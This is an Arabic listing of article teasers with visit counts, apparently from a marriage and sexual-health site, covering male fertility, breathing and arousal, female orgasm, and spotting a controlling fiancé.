واكتبوا هذه الوصفة التي أعطاني اياها طبيب استشاري في مركز طبي شهير بجدة بعد ان كشف على زوجي وتقرر أن لديه ضعف في الحيوانات المنوية (العدد والحركة معا) ...
[زيارات : 2858]
التنفس ومفهوم الإثارة الخفي
يتنفس الناس دون التفكير في عملية التنفس ولكن "جاك جونستون" مؤلف كتاب " النشوة المضاعفة للرجل خطوة بخطوة" يقول ان علاقة وثيقة توجد بين عملية التنفس و ...
[زيارات : 1540]
كيف تحصل الزوجات على الأورجازم ) النشوة القصوى في الجماع
تسأل احد النساء عن عدم حصولها على النشوه القصوى أثناء ممارسة الجنس مع زوجها - وقالت أنها كانت تدمن على العادة السرية أثناء فترة المراهقة - فقلت لها: ل ...
[زيارات : 2596]
اكتشفي خطيبك قبل فوات الاون , قد يكون مصاص الدماء
فترة الخطوبة مرحلة تعارف بين الطرفين ، يحاول فيها الرجل الظهور بأنه حمل وديع لتقع المرأة في شباك حبه ، ولكن بعد الزواج يسقط القناع ويكشف عن الوجه القب ...
[زيارات : 1691]